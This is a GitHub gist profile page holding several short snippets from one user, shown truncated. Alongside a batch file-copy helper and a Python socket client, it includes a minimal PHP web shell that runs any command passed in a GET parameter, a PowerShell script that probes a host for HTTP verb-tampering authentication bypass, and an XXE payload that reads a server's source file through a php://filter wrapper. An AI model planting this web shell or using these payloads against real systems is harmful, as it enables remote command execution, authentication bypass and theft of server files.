Skip to content

Instantly share code, notes, and snippets.

View hddananjaya's full-sized avatar
⚔️

Akila Dananjaya hddananjaya

⚔️
View GitHub Profile
:: Instantly copy files to VM shared folder
:: usage :
:: share /f file.file
:: share /d dir\
:: share /l
@echo off
set vm_shared_dir="D:\VBox-WinXP-shared\"
if "%1" equ "" (GOTO echo_usage)
if "%1" equ "/f" (
<!-- PHP shell_exec() -->
<?php
if (isset($_GET["cmd"])){
$out=shell_exec($_GET["cmd"]);
echo($out);
}
?>
# Bypass basic http authentication by method tempering
$http_methods = "GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE"
foreach ($method in $http_methods){
Try{
$response = Invoke-WebRequest 'http://vuln.host' -Method $method
Write-Host ("Vulnerable for $method method")
}Catch{}
}
<!-- Read Local Files using a PHP wrapper -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<rss version="2.0">
<channel>
<title>Example Feed</title>
<description>Insert witty or insightful remark here</description>
@hddananjaya
hddananjaya / socket_client.py
Last active February 17, 2019 15:58
Connect to a socket and send messages, background forever thread for a reliable connection.
import socket
import _thread
import time
class SocketClient:
"""
Connect to a socket and send messages,
Background forever thread for a reliable connection
"""